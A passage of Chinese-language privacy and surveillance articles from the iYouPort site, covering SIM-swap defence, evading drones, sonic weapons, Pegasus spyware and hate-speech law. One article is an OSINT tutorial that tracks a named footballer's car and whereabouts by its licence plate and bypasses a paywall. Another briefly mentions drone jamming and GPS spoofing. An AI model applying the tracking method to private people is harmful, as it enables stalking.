为避免这种情况，请致电您的移动运营商，并要求他们在帐户中设置PIN码。这样做至少能给攻击者带来一些挑战性。这个PIN码通常是4到8个字符的数字。 **3**、在物理设备上设置**PIN** 如果您经常丢失手机或随手乱放，则应考虑在手机的SIM卡上启用PIN码。这里指的不是您用来登录手机的 PIN 码。而是防止他人激活和使用您的SIM卡的密码。 想象一下有坏人偷了你的电话。即使他们不能破解密码进入您的手机，他们也可以简单地取出SIM卡并控制您的手机号码。但是如果您设置了PIN码，至少能给坏人制造点麻烦。 以下是在不同设备上执行此操作的一些步骤： * 在 iPhone 或 iPad 上为您的 SIM 启用 PIN * 在 Android 上为您的 SIM 卡启用 PIN 码 **4**、尽可能避免使用您的真实手机号码 尽可能不共享您的真实手机号码 —— 尽一切可能。例如，将其从社交媒体帐户中删除。 仔细想想，其实并非总是需要提供手机号码的，但人们只是出于习惯就顺手写下了真实的号码。要改掉这个毛病，因为它很危险。 * 《4款最佳一次性手机号码应用：适用 Android & iPhone》 * 一次性手机号服务列表 当然，可以想像，对于做业务的人来说，这种方法也许会造成麻烦；但是，请尽可能考虑分身，把它当成原则，让安全进入您的习惯。 衡量自己的威胁模型，并从 *最有价值* 的在线帐户中删除您的真实手机号码，这样可以极大地降低遭遇SIM交换攻击的风险，尤

其是在您必须将手机号码与帐户关联的情况下。 例如，登录到*Google*帐户页面，然后在“个人信息”部分中编辑您的手机号码。如果您在那看到的是自己的真实手机号码，请用虚拟号码代替它，或者将其全部删除（只要您可以选择先接收*2FA*）。 请注意，此屏幕截图中*2FA*已关闭。一旦设置了身份验证器或使用了一次性号码来接收那些*2FA*代码，请确保重新启用它，以免被锁定。 「图」 这是另一个使用*Amazon* 的示例：在您的帐户中，选择“登录和安全”。在此处删除您的手机和/或添加一次性号码。 *PayPal* 是攻击者的另一个常规目标。登录后，通过单击页面右上角的设置（齿轮图标）在此处执行相同的操作。 单击“电话”，然后删除您的真实号码并添加一次性号码。请注意有些地区可能无法进行这个操作，因为它要求注册手机号和银行卡绑定的手机号一致。 「图」 同样，请考虑尽可能从所有社交媒体、零售、尤其是财务帐户中删除您的真实手机号码。 *!!!*最后 「图」 我们应该保持友善和乐于助人的爱心，但是请准确判断，不要轻易被利用。见《礼貌的偏执》。 如果 **任何人** 通过电子邮件和/或短信询问您的个人信息，请保持友善的怀疑态度，不要害怕要求验证 —— 如果显示为您认识的人，请用其他安全的方式联系此人，以确认是否真的是你认识的那个人发送的消息。 还记得我们在“变得难以被追踪”系列中强调的原则吗：零信任，始终验证。 如果您担心自己已成为*SIM*卡交换攻击的受害者，请寻求专业指导，以适当缓解和做出明智的选择以应对。 请与您的亲人和朋友分享这些技巧，以帮助确保他们的安全。○ 原文

如何躲避无人机 - 监视时代的须知 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办维稳面面观

监视时代的基本生存技能……

「图」

「图」

无人机有非常多的用途。

各种规模的无人机正被环保活动家用来监测森林砍伐，被保护主义者用来追踪偷猎，被记者和活动家用来记录大型抗议活动 …… 研究社会运动和无人机的政治社会学家 Austin Choi-Fitzpatrick 在他的新书《The Good Drone》中记录了无人机广泛的非暴力和亲社会用途。他认为，这些努力有可能使监视民主化。

但是，当国土安全部将大型固定翼无人机从美墨边境调往抗议活动现场进行监视、当城镇尝试使用无人机对人们进行体温检测 …… 是时候思考天空中有多少双眼睛了，以及如何避免不必要的空中监控。

- 《天空中的眼睛》关于无人机监视的详细讲解

一个几乎每个人都唾手可得的方法就是学习如何简单地从无处不在的监视器视野中消失。

- 《浮空器、生物识别、射频、无人机 ……唐宁街聚集大规模监视行业，其关键技术中国几乎全有》

拥挤的天空

在过去的十年里，公众对无人机的使用呈爆炸式增长 —— 人们用日常科技做着有趣的事。随着无人机进入已经拥挤的空域，航空管理部门正在努力应对。在不久的将来，天空中可能会出现更多的这些设备，由越来越多的社会、政治和经济目标参与者推动。

- 《如何识别抗议活动中可见的和不可见的监视》

「图」

「图」

公众对无人机的使用和扩大化的看法仍然悬而未决，但无人机使用的迅猛发展已经引发了许多限制无人机的努力，包括制定公共政策，让社区对当地空域进行控制，以及开发先进的干扰设备和战术，将无人机从天空中击落。

- 《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》
- 《空中监视如何追踪抗议者？》

从初创企业到主要的国防承包商，都在争相设立拒绝无人机的领空，用数字技术劫持无人机、控制无人机、击落无人机。反无人机措施从简单的钝器、到10口径猎枪，再到训练有素的鹰。

这些反无人机措施很多都是昂贵而复杂的。有些是非法的。避免无人机技术的最实惠、也是最合法的方法就是：躲起来。

如何从无人机的视野中消失

要想躲避无人机，首先要利用自然和建筑环境。可以等待恶劣天气，因为像当地警方使用的小型设备很难在大风、浓雾和大雨中飞行。

树木、墙壁、凹槽和隧道可以比天气更可靠，如果您遇到的是国安部使用的那种高空无人机的话，这些物体可以帮助您躲避。

「图」

「图」

您可以做的第二件事是尽量减少您自己的数字足迹。尽可能避免使用手机或GPS系统等无线设备，因为它们有数字签名，可以揭示您的位置。这对于躲避无人机来说是很有用的，并且对于抵制其他很多监视技术来说也非常重要。

第三件您可以做的事就是迷惑无人机。在地面上放置镜子、站在破碎的玻璃上、戴上精致的头盔、使用机器可读的图案印制的毯子、或可以干扰传感器的布料制作的夹克，以破坏和扭曲无人机看到的图像。

- 以上原理您可以在 列表-1 “生物识别” 栏目中看到

人体模型和其他形式的模仿也能迷惑机载传感器和负责监控无人机视频和传感器信号的分析人员。

请注意，装有红外传感器的无人机会看穿人体模型的把戏，但也会被掩盖体温的策略所迷惑。例如，太空毯会掩盖大量的人体热量，或者简单地躲在与人体温度相匹配的区域，如建筑物或人行道的排气口，也能做到隐藏。

第四种，也是最实用的，那就是伪装。大规模监控的发展导致了旨在隐藏身份的创造性实验的爆发。但一些最聪明的想法显然是老派的和低技术含量的。衣着是首选，帽子、眼镜、面具和围巾对扰乱基于无人机的面部识别软件来说就能有很大帮助。

「图」

「图」

请记得，您的步态就像您的指纹一样独一无二。随着步态识别软件的发展，还必须考虑如何掩盖用于识别步行者的关键支点。可能最好的反应是一瘸一拐，使用轻微的腿部支撑或穿着极度宽松的衣服。

- 《中国的步态识别监视正式铺设：”受美国的启发”》
- 《重新学走路：愚蠢步行法抵制步态识别的兴起》

艺术家和科学家们将这些方法又向前推进了一步，开发出了一种旨在屏蔽一个人的热标记和扰乱面部识别软件的帽衫，以及旨在挫败面部识别系统的眼镜。在这里看到《如何防止被无人机监控？（热成像监控的抵制方法）》。

随身携带一把雨伞

上述这些创新都是很诱人的，但雨伞可能被证明是这个列表中最普遍使用的和最强大的策略。它们价格便宜，易于携带，并且可以在短时间内发挥作用。另外，如果您愿意，还可以打造一个高科技的雨伞，比如这种。

如果您生活的地方没有警察使用小型四旋翼飞机监视人们的生活、也没有国土安全部部署大型 “捕食者” 无人机来监视抗议者，那当然是极好的事；对于世界上某些地方的人来说，要小心别把无人机的声音

和即将发射的导弹联系起来。但是如今全世界的人都应该知道，有那双眼睛在天上的存在，每时每刻都应该有所意识，明白该如何躲避它。

总结

以下是美国军方介绍的几种躲避无人机的方法：#白日伪装：躲在建筑物或者树木的阴影里。利用茂密的树林作为天然遮蔽或使用伪装网；

- 夜晚伪装：躲在建筑物中或者茂密的树叶下。禁止使用手电筒或者车头灯，哪怕仅是对准远方。无人机可以在夜间任务中轻而易举地识别出灯光；
- 热伪装：聚酯薄膜（Mylar）制成的急救毯可以隔绝红外线。在夜间把急救毯作为披风穿在身上可从红外探测中隐藏您的热信号。在夏天，当气温在36至40摄氏度之间时，红外摄像头无法从周围环境中辨别人体；
- 等候恶劣天气。无人机无法在大风，烟雾，暴雨，等恶劣天气条件下工作。
- 禁止使用任何无线通信。使用移动电话或者全球定位系统（GPS）可能会暴露您的方位。
- 迷惑。在车上或屋顶上散布反光玻璃碎片或者镜面反光材料可以搅乱无人机的摄像头。
- 使用诱饵。使用人体模特或者真人大小的玩偶来误导无人机的侦察。

1. 截取信号。一个复杂的技术是通过 SkyGrabber 软件、卫星天线和调频器来截取无人机的通信频率。

- 干扰。通过广播不同的频率或者一组频率，无人机操作员和无人机之间的连接可以被切断。
- **GPS**欺骗。小型便携式GPS发射器可以发出虚假的GPS信号来扰乱无人机的导航系统。这种方法可以被用来引导无人机进入自毁的飞行路径，或者劫持它们逼迫其降落。

○□

原文

如何追踪一辆汽车？ - iYouPort

你应该了解的现实你的反乌托邦在线生活阴云密布维稳面面观

躺在沙发上就能做到 ……

「图」

「图」

虽然可能永远无法像跟踪大型船只那样跟踪和识别汽车，但这篇文章提供了一些有用的提示，这些信息可以帮助您使用开源情报手段寻找特定车辆。

在研究汽车和摩托车时，哪些数据是相关的？

由于大多数车辆都是量产的，因此仅基于制造商、型号和颜色进行的研究可能会有些挑战。因此，您需要的应该是唯一的标识符，例如VIN或车牌。

VIN（车辆识别号）是一个17位数字的代码，在制造时会分配给每个车辆。有多个付费数据库，可用于查找VIN并检索有关车辆及其历史的信息。

如果您不想花钱，请尝试谷歌搜索 VIN。由于它是如此独特，因此不会出现很多误报。

「图」

「图」

在美国，可获取有关VIN和车辆信息的最好的免费网站之一是Poctra。在中国，比如 中国汽车网、宜配网等也可以做这件事。来看看搜到了什么：

「图」

「图」

高分辨率图像、地点、里程、甚至有时是车牌。这里有很多关键点可以进行更多的开源情报追踪。

如果你知道一个车牌，可能会在各种汽车观察者网站上找到它的图像。PlatesMania 和 Autogespot 两者都允许通过车牌搜索。

理论已经足够多了，现在实践一下。

阿森纳伦敦足球运动员皮埃尔·埃默里克·奥巴梅扬经常被看到与他的法拉利LaFerrari 在一起。即使他住在伦敦，这辆车也不带英国车牌。

万一您必须弄清楚车子来自哪个国家，可以在 World License Plates 上找到大量的车牌。事实证明，奥巴梅扬的法拉利在德国注册。他的车牌是 AIB-Q1414。让我们看看是否可以在 Autogespot 上找到这辆车。

通过点击网站右上方的“更多过滤器”，可以自定义查询。

「图」

「图」

这会导致多个结果，每个结果都包含多个高分辨率图像。

如果您不是 Autogespot 的付费会员，并非所有图像都可以公开访问，但是有一种变通方法可以检索隐藏在付费墙后面的图片 —— 稍后解决这个问题。

「图」

「图」

左上角的条目显示奥巴梅扬的法拉利车于2019年9月21日在伦敦被发现，这次目击中包含10张照片。

观察者还链接了他的 Instagram 帐户，这可能会带来更多的图像。因此，请确保您也始终将调查重点放在这些其他个人资料上。

「图」

「图」

「图」

「图」

有时，无需付费就可以从 Autogespot 中检索其他图片。只需复制您所在页面的 URL，然后在 Google 中查询即可。然后查看 “图像” 结果。以下是其他九张图片：

「图」

「图」

现在获得的信息再次成为进一步研究的枢纽。

也许我们可以对车子所停的确切位置进行地理定位，从而知道2019年9月21日午餐后奥巴梅扬在哪。

☞跟踪和识别车辆可能有用的原因有很多。在研究车牌时，请记住，简单的搜索引擎查询或社交媒体内的查询都可能产生有效结果。

在本案例中它可以在 Twitter、Instagram 和新闻文章中找到结果，紧接着的是汽车观察者网站。

「图」

「图」

世界各地还有许多其他平台可跟踪车辆并允许通过车牌查询，例如俄罗斯的 Nomerogram（Номерограм）。

这个网站不仅展示豪华车，而且展示普通车。这可能与俄罗斯人对行车记录仪的热爱有关，导致各种参与者产生了大量的视频和图像。

「图」

「图」

利用上面显示的技术和资源，可以在一定程度上手动跟踪车辆。但是，这种跟踪将依赖于对图像进行地理定位。所以，训练地理定位的 “侦探挑战” 小游戏将对您的能力提升有很大帮助。○

Car Spotting and OSINT 广告

原文

封锁言论就能制止仇恨吗？不 - iYouPort

你应该了解的现实你的反乌托邦在线生活阴云密布维稳面面观

本文作者 Erwin Chemerinsky 是加州大学伯克利分校法学院院长和法学教授。虽然文章的主题是美国的言论审查，但是对欧洲来说也有重要的值得深思的意义。欧洲的言论市场越来越不自由的倾向已经非常令人担忧，以遏制“仇恨言论”为由发起的审查正在侵犯权利

「图」

「图」

最近几天发生了一连串令人深感不安的仇恨犯罪浪潮 — — 据称肯塔基州一位白人至上主义者杀害了两名非裔美国人；发送给众多前任和现任官员的炸弹包裹；以及匹兹堡犹太教堂的大屠杀事件 — — 再次导致了新的呼吁要求“禁止仇恨言论”。

尽管政府可能会对以仇恨为动机的罪行施加更大的惩罚，但法律明确规定，仇恨的表达也受第一修正案的保护。政府不能惩罚言论，即使它是非常令人反感的 — — 并且没有证据可证明审查仇恨言论会使仇恨犯罪的可能性降低。

我们只能推测为什么这些罪行会有显著增加。反诽谤联盟报告说，全国各地的反犹主义事件都在急剧增加。

在过去的几年里，我经常感觉到这个社会发生了变化，人们正以一种几十年来从未见过的方式表达和行动。而且我相信，唐纳德特朗普总统的分裂言论和他的种族呼吁也为此做出了贡献。

在 2016 年11月大选之前的那个周末，特朗普的竞选活动发布了两分钟的广告，攻击了金融家和自由派捐助者 George Soros、当时的美联储主席 Janet Yellen，然后是高盛首席执行官 Lloyd Blankfein。他们都是犹太人。去年，抗议者在弗吉尼亚州夏洛茨维尔举行的反种族主义游行中丧生之后，特朗普说，there “were very fine people”

marching among the neo-Nazis chanting “Jews will not replace us.”

特朗普呼吁仇恨并引发蔓延。然而，法律明确规定，他 — 像所有美国人一样 — 有权这样做。

事实上，第一修正案毫无疑问地保护了仇恨言论。在 20 世纪 70 年代末和 80年代初，Skokie 村 — 芝加哥北部的一个郊区，拥有大量的大屠杀幸存者 — 尽一切努力阻止纳粹党进军。但是，包括美国最高法院在内的每个法院都裁定纳粹拥有宪法权利来证明和表达他们的仇恨信息。

1992 年，高等法院在明尼苏达州圣保罗宣布，禁止烧毁十字架或禁止以可能引起愤怒、恐慌和引起怨恨的方式画一个纳粹标志，是违宪的。法官们一致裁定，这种仇恨象征的表达受到第一修正案的保护。

每个欧洲国家都有禁止仇恨言论的法律，为什么美国没有？在某种程度上，难以以过于模糊或宽泛的方式定义仇恨言论。数十年的努力 — 各州、市政当局和大学 — 已经证明所有这些法规都是不容置疑的。

通常，在美国和欧洲，禁止仇恨言论的法律会禁止在种族、宗教、性别或性取向的基础上“侮辱”、“贬低”或“侮辱”人们的言论。在20世纪90年代早期，超过 360 所美国大学和学院采用了这些理由来抵制带有仇恨意味的言语。提交法院的每一个案件都被宣布为违宪。

此外，仇恨言论受宪法保护是因为它表达的是一个想法，尽管这是一个卑鄙的想法。“保护”仇恨言论的表达是必要的，因为替代方案 — 赋予政府惩罚他们不喜欢的发言者的权力 — 会带来更大的伤害。

“根据种族、民族、性别、宗教、年龄、残疾或任何其他类似理由贬低他人的言论是可恨的; 但是，我们言论自由的法理学最自豪的是，我们保护表达“我们讨厌的思想”的自由，“最高法院于2017年6月宣布。

历史表明，惩罚仇恨言论有可能凝聚支持。但没有证据表明禁止仇恨言论可以减轻种族主义思想甚至种族主义罪行在社会中的存在。法律明确指出，以仇恨为动机的罪行可能会受到更严厉的惩罚; 但是言论是受第一修正案保护的。

我并没有在试图掩护仇恨言论所造成的危害，而最近几天发生的仇恨罪行也让我感到害怕。我们必须作为一个社会反映如何导致的这一问题以及如何应对的问题。

但审查制度绝不是答案。〇

原文

当声音作为警察的镇压武器 - iyouport

维稳面面观

如您所知，这种镇压武器也已经在香港被使用。

2019年的香港抗议活动中，香港理工大学出现了两辆水炮车及一辆装甲车进行清场，期间，警方在装甲车顶部上首次使用了声波炮，以声音为武器驱逐示威者。

根据资料显示，香港警队于2009 年购入了6部“锐武”，是警队使用的第3代装甲车，全车具有防弹功能，而同年也引入了两部俗称声波炮的长距离扬声装置，这是美国海军和英国部队使用的军事武器，而且，它已经被用来在国内镇压自己的公民。

人的耳朵是毫无防备的。由于无法将声音拒之门外，它必须接受它所听到的一切。奥德修斯提供给他的船员的蜂蜡耳塞使他们免受塞壬的伤害，甚至在他被他的手下绑在桅杆上后，还自虐地享受着塞壬的歌声。

最近有消息称，警方在明尼苏达州北部部署了LRAD（远距离声学装置）来镇压抵抗3号线管道的抗议者，这再次提醒人们；声音作为武器的潜力。

“装置” 是一种委婉的说法：按照这种说法，枪只是一种子弹发射装置。制造商自己对其一系列 LRAD 产品的描述仅仅强调了该装置的“通信” 能力。事实上它是声波炮，是一种武器。

一年前，这种声波炮已经被用来镇压波特兰的抗议活动。在2020年6月6日当地CBS电视台的新闻中，该市警察解释说，这种前一天晚上被用来打击抗议者的武器，“只有在使用不当的情况下才会有危险”。信任当局的声波战争武器本身就会给你带来危险。

历史上就有最臭名昭著的音乐攻击利用耳朵的无力感的案例。1993年，联邦调查局向韦科镇的大卫教派吹响了大规模的扭曲音乐，在为期七周的围困中，像战舰撞击海岸一样，使大院里的居民疲于奔命。

最后的火焰风暴是由彻底剥夺睡眠的分贝水平制造的，它被可怕的犯罪美学所放大，最令人发指的是南希·辛纳屈的 “These Boots Are Made for Walkin”。警察狠狠地改变了他们的播放列表，从唱圣诞颂歌的糖衣炮弹式安排跳转到西藏圣歌和骑兵军号的爆炸。

声音暴力的肇事者对他们的音乐有多重视，可以从他们对破坏性的和绝望的曲目的精心编排来判断。

大卫教派领袖大卫·科雷什（David Koresh）本人是一名失败的流行歌手，他在韦科开始了高分贝的音乐反击，首先用他自己录制的快乐的流行音乐轰击联邦调查局。 当联邦调查局部队切断大院的电力供应时，这种围攻战术就停止了。

韦科镇并不是第一个音乐战的例子。几年前，美国曾试图用不间断的重金属音乐轰炸将歌剧爱好者曼努埃尔·诺列加（Manuel Noriega）从巴拿马城的堡垒中揪出来。在这种目的下《蝴蝶夫人》和《茶花女》都比不上黑色安息日和犹大圣徒。最后在梵蒂冈的压力下，声波攻击才终于被停止了。

【注：黑色安息日是英国的硬式摇滚／重金属乐队；犹大圣徒也是英国重金属乐队。】

在关塔那摩湾以及阿富汗和伊拉克的其他监狱，英国权利团体 Reprieve 声称，审讯技术包括使用 AC/DC 和 Metallica 的极高音量音乐，以及 Barney & Friends 等儿童电视节目的主题曲。 安迪·沃辛顿（Andy Worthington）于2009年在《反击》杂志上详细介绍了这些恐怖的情况。

在没有耳塞、没有防噪音耳机或其他防御技术的遮挡下，耳朵无力保护自己。眼睛有眼睑，耳朵却没有。 在《发条橙》中，当暴力反社会者和贝多芬狂热者亚历克斯被重新编程为无害的被动者的过程中，他的眼睛必须被撑开，这样他就可以被迫目睹屏幕上的暴力行为，同时被灌入一种诱发恶心的药物。相比之下，伴随着图像的是亚历克斯心爱的路德维希·范第九交响曲的辉煌曲调，毫无阻碍地进入了他的身体。

正如柏拉图和许多其他作家所知，音乐直接作用于灵魂。没有什么比这更能振奋人心的了，但也没有什么比这更有潜在的破坏性了。

15年前，纽约大学教授苏珊妮·库斯克开始撰写关于利用声音力量的军事化努力。“1998年11月18日，现已倒闭的 Synetics 公司[被签约]生

产一束紧密聚焦的次声波（发射频率低于20赫兹）旨在产生 ‘丧失战斗力甚至致命’ 的效果。1999年，麦克斯韦技术公司为超声频声音系统申请了专利，这是另一种高度定向的装置 …… 旨在控制敌对人群或使劫持人质者丧失能力”。同年，Primex Physics International 又申请了两项专利，其一可产生165分贝的 “重复脉冲波形”，可在50英尺的距离内直达，用于 “杀伤人员”，其二可 “通过纯电力手段产生高强度的声波脉冲”。

LRAD是由美国技术公司在大约20年前开发的，然后改名为LRAD公司，在2019年再次改名为听起来更模糊但不祥的 Genasys 公司。早期制造商称赞其武器的能力为 “投射平均120分贝（最大151分贝）的’声带’（15至30英寸宽），覆盖500至1000米（取决于你购买的型号），LRAD被设计用来船只呼叫、发布战场或人群控制命令，或通过吸引注意力和高度刺激的威慑音以改变目标人群的行为”。

LRAD由第361心理行动连使用，2004年11月在围攻费卢杰时被部署用于 “预备战场”。该装置配备了澳大利亚硬摇滚乐队AC/DC的 “地狱钟声” 和 “射击刺激”。

正如库斯克指出的那样，声波武器和刑具的最大优势在于它们不会在受害者身上留下任何痕迹。年轻的宾亚姆·穆罕默德（Binyam Mohamed）是居住在英国的埃塞俄比亚国民，2002年在巴基斯坦被捕，随后被转移到各个CIA黑点监狱。在完全黑暗的喀布尔监狱中被关押了18个月后，他于2004年被转移到关塔那摩。

在2009年从监狱获释并返回英国后不久的一次采访中，穆罕默德描述了他被声音折磨的经历：“牢房里有扩音器，发出震耳欲聋的音量，一天24小时不间断。他们播放了一个月的同一张CD，即 阿姆秀 (The Eminem Show)。每当结束时就又回到开头，重新开始。我无法入睡。我不知道现在是白天还是黑夜”。与他遭受的其他形式的酷刑 相比—— 如他所描述的用来切开他的生殖器的手术刀—— 声波酷刑没有留下任何物理痕迹。2010年，穆罕默德收到了一份未披露的和解协议，阻止了他对英国政府的几起诉讼，以换取结束对他的拘留和酷刑。

与此同时，LRAD不仅在国外被使用，而且在本土也很多被使用。在穆罕默德从关塔那摩获释的几个月后，LRAD就被用来驱散了2009年9月在匹兹堡举行的20国集团峰会的抗议人群 —— 这是该设备在美国首次被记录用于镇压目的。此后它的不光彩的部署一直持续到现在：从2011年的占领奥克兰行动，到2014年纽约警察对埃里克·加纳谋杀案的抗议者采取的镇压措施，再到2016年圣地亚哥的反特朗普集会，

再到2017年华盛顿特区的妇女游行，还有去年从波特兰到基诺沙的BLM示威活动，以及现在的密西西比河源头。〇

Air Attack: Sound as Police Weapon

原文

当恶意软件伪装网购物流：来自政府的监控总能让你防不胜防 - iyouport

政府的间谍行为维稳面面观自我保护措施-技术技巧以防身

【2018年10月2日存档】假设你在网上订购了一件商品，物流通知发送到你的手机上，告知你“包裹”正在路上……对每一位刹手族来说这种事不过如吃饭睡觉一般司空见惯？但是，这里面居然也会隐藏着危机……的确如此。我们在上一篇文章中已经介绍的这种间谍软件被多个攻击组织广泛用于全球 45 个国家的网络入侵活动中，亚洲包括香港

这一切，始于一桶蛋白粉。

Omar Abdulaziz 于 6 月底在亚马逊上订购了一桶蛋白粉，正在等待商品到达他位于 Que 的 Sherbrooke 公寓。Abdulaziz 在订购后的当天晚些时候，收到了 DHL 的物流短信，内容是说他的包裹正在上路，因此他并没有多想 。

众所周知这已经成为了一种非常有效的骇客技术，即 短信—以及它所包含的链接—并不是它声称的那样。Abdulaziz 点击了链接，这会让间谍软件进入他的 iPhone。在那里，间谍软件可以复制他的联系人和消息，甚至窃听他所有电话。攻击者可以完全控制他的手机。

但最终，对 Abdulaziz 手机的攻击并不是很普通的那种入侵，它非常个人化，具有强烈的针对性。

我们已经详细解释了加拿大公民实验室的报告，在这里看到《以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—⚠ 亚洲有香港》，分析显示本文的主题这一间谍活动很可能是由 Abdulaziz 的祖国沙特阿拉伯政府进行的。

Abdulaziz 于 2009 年从沙特阿拉伯抵达加拿大，在麦吉尔大学学习英语。但随着他越来越多地批评他的政府的镇压策略和恶劣的人权记

录—并为他在 YouTube 和 Twitter 上的言论活动吸引了相当大数量的追随者- 他的奖学金在 2013 年被沙特政府撤销。

他被授予政治庇护，次年成为加拿大永久居民，现在在魁北克省舍布鲁克的毕晓普大学就读，与其他四名沙特外籍人士住在一起，他不敢回家。

他担心的原因很充分。Abdulaziz 说，他的两个兄弟以及他的几个朋友最近都被沙特阿拉伯政府监禁了。几个月来他一直无法和母亲通话。就像感染他手机的间谍软件一样，他认为这些逮捕行为是企图恐吓他—以此来终止他对沙特阿拉伯政府的持续抗议、以及他最近对该政权处理加拿大外交争端的批评。

尽管如此，Abdulaziz 不仅想要主动谈谈他的经历—这在被间谍软件感染的人中很少见—而且他认为这是他能够做的最好的事来迫使他的国家作出改变。

“很多人都对此感觉害怕。他们害怕谈论发生在自己身上的恶劣事件。也许他们经历的事情比我更糟糕？但我是不得不说出来的，”Abdulaziz 站在学生公寓的阳台上，俯瞰火车轨道和树木以及 Saint-François 河。

“有人就是不得不站出来反对这一点。我相信我的坚持能令事情很快得到改变。”

鲁莽和非法

自 8 月初加拿大外交部要求释放所有被监禁的“和平人权活动家” 以来，加拿大和沙特阿拉伯政府之间的外交关系一直充满了冲突。这些推文引发了沙特阿拉伯外交部的迅速谴责。

Abdulaziz 忍不住要说出来。但就在那个时候，他的手机已经被间谍软件感染了，他认为沙特阿拉伯政府在利用他的生活细节来对他进行报复。

“我以为没有秘密。我没有隐藏任何东西，”他说，“因为我[在加拿大]，我知道自己受到了保护。我并不害怕。所以我会继续做我正在做的事。”

他只是没想到，普通的网购习惯也能被当局武器化，以攻击他。

Abdulaziz 在社交媒体上建立了大量追随者。他的 YouTube 视频和直

播节目经常能吸引成千上万的观众，也有成千上万的观众在 Twitter 上关注他。每隔几分钟就会有一条新的 Snapchat 消息传出。鉴于他的全球观众规模，他相信沙特想要找到一种方法来恐吓他，以令他闭嘴。

这种方法就是利用其家人和朋友。也是中国政府很常用的办法——影响力显著的人如果不能被收编，那只能被“消灭”。

他担心他的室友和他的朋友—无论是在加拿大的还是在沙特的—甚至包括那些与政治毫无关系的原因而打电话联系他的人，会发生什么。所有这些，现在都可能被他手机上的间谍软件所牵连。他想知道，如果政府愿意跨越国界监视他，他们将如何升级他们的袭击？

多伦多大学公民实验室的研究人员在夏季发现并分析了这一感染情况，就是我们在上一篇报告中所呈现的那样—— 是的，这是全球性的感染。公民实验室不能肯定地说是沙特阿拉伯政府安装了间谍软件，他们也无法在对 Abdulaziz 的监视与当局对他的朋友和家人的拘留之间建立明确的联系。

但是，基于与感染 Abdulaziz 电话的同一运营商过去对沙特相关个人的攻击事件有很高的相似性，他们有理由怀疑沙特阿拉伯政府或其安全机构是袭击事件背后的操作。

公民实验室的长期主管罗恩·德贝特（Ron Deibert）表示，“这种定位方式具有鲁莽性。” 他说，加拿大政府不太可能允许外国国家对其自己的公民进行这种间谍活动，这可能是非法的。

全球事务发言人亚当奥斯汀表示，该部正在审查该报告，但非常严肃地对待“任何此类指控”，并“坚定地致力于言论自由，包括在线言论自由”。公共安全部门尚未对评论请求作出回应。

“它显示了[沙特阿拉伯]政府愿意花多少钱在一些被当局讨厌的人身上，只因他们在社交媒体上自由表达，”Deibert 说。“毫无疑问，这可能会加剧加拿大与沙特阿拉伯之间的争端。”

跟随面包屑

公民实验室在对全球政府的间谍软件活动进行更大规模调查时，偶然发现了 Abdulaziz 的案子。当时他们已经开始着手确定使用以色列供应商 NSO 集团出售的这种被称为 Pegasus 的间谍软件的国家。该公司表示，它只向政府出售这种间谍软件。

公民实验室在过去六年中发现了许多滥用的案例，其中 **Pegasus** 和类似的软件被用来对抗人权活动家、持不同政见者、记者和政治对手。

“Pegasus 与犯罪分子使用的恶意软件之间并没有很大的区别，”总部位于旧金山的 Lookout Security 安全情报副总裁 Mike Murray 表示，该公司是一家网络安全公司。过去曾检查过 NSO 的 Pegasus 间谍软件。

但 **Pegasus** 的不同之处在于它感染目标的方式，以及攻击的成本。**Pegasus** 如此难以被察觉的原因在于，它利用了 **Google** 或 **Apple** 不为人知的软件缺陷—即 **0-day**，这意味着即使是最新的安全更新也无法阻止它。Murray 说，这一“优势”使得 NSO 集团可以让政府客户为每一个他们打算瞄准的人支付数万美元。

更多详见类目“政府的间谍行为”。

在规定中，这意味着政府只能使用 Pegasus 应对最严重的威胁—但是在监督或监管方面几乎没有什么办法可以防止滥用。

“在我看来，[零日漏洞监控技术]这个市场已经完全失控，我认为基于加拿大的利益和其他政府的兴趣，是时候对这个市场做点什么了，”Deibert 说。“我们应该投入更多资源来促进相互制约的规范。”

在公民实验室的报告中，研究人员使用互联网扫描技术来识别 NSO 的间谍软件表现活跃的45个国家—包括奇怪的发生在魁北克的受感染设备。在一项数字侦探工作中，公民实验室的研究人员试图找出目标—后来被揭示为 Abdulaziz—基于受感染设备在与国外间谍软件运营商通信时留下的数字面包屑的独特模式。

研究人员注意到，被感染的设备大部分时间都与魁北克的一家消费者互联网服务提供商 Vidéotron 相关联。但是在晚上经常有大约三个小时的时间，设备被切换到舍布鲁克的毕晓普大学的网络。

该设备只需要大约 20 分钟的时间在网络之间切换，导致研究人员相信它属于某人—也许是一个学生—就住在附近。设备正在与服务器通信，这个特殊的 Pegasus 间谍软件运营商过去曾用它来感染其他与沙特相关的目标。

他们猜测他们的目标符合类似的特征—即 沙特阿拉伯政府感兴趣的人—在与魁北克的沙特-加拿大社区成员联系后，很快就发现 Sherbrooke 中只有一个人符合这个特征：也就是蛋白粉买家 Omar

Abdulaziz。

“我知道他们有多弱”

当公民实验室第一次联系 Abdulaziz 向他出示调查结果时，他并不感到惊讶，他被定为目标了—尽管他最初怀疑研究人员是否可信。“突然有人联系你，并告诉你，你的手机可能被感染或可能被黑了……这也太……’好吧，对不起，[我]只是要问一些问题，”他笑着回忆道。

他的怀疑是可以理解的。位于旧金山的公民实验室研究员 Bill Marczak 向 Abdulaziz 询问他每天下午5点到晚上8点做了什么。这通常是 Abdulaziz 去校园健身房锻炼的时间—以及为什么他首先购买了蛋白粉。在两天时间里，公民实验室找到了 Abdulaziz 在健身房和家之间的活动，以及他们在魁北克省发现的 Pegasus 感染的独特情况。

可以肯定的是，Marczak 飞往舍布鲁克并检查了 Abdulaziz 的电话。在那里，Marczak 发现了 DHL 的假物流短信。Abdulaziz 已经不可能不是目标了。还有谁值得当局提供如此高的成本以支付 Pegasus 的所有权？

Abdulaziz 现在仍然与他的家人和朋友隔绝，并且他很遗憾自己的政治活动对他所爱的人产生了不利的影响。但是对他的手机的攻击事件只会让他比以前更多地投入到这些活动中，并探索采取法律行动的可能性。

“因为一旦你停下来，他们[政府]就会做得越来越多。所以你别无选择，”Abdulaziz 说。“现在我已经认识到了他们[政府]有多弱。”○

原文

性关系如何扼杀反抗运动 - iyouport

维稳面面观

这是一种经典的且至今都很常见的渗透手段，是所谓的秘密行动的一部分。即 在目标人最亲密的部位安插眼线。

危险的上床摧毁了几乎整个反抗运动。这可不是小说。

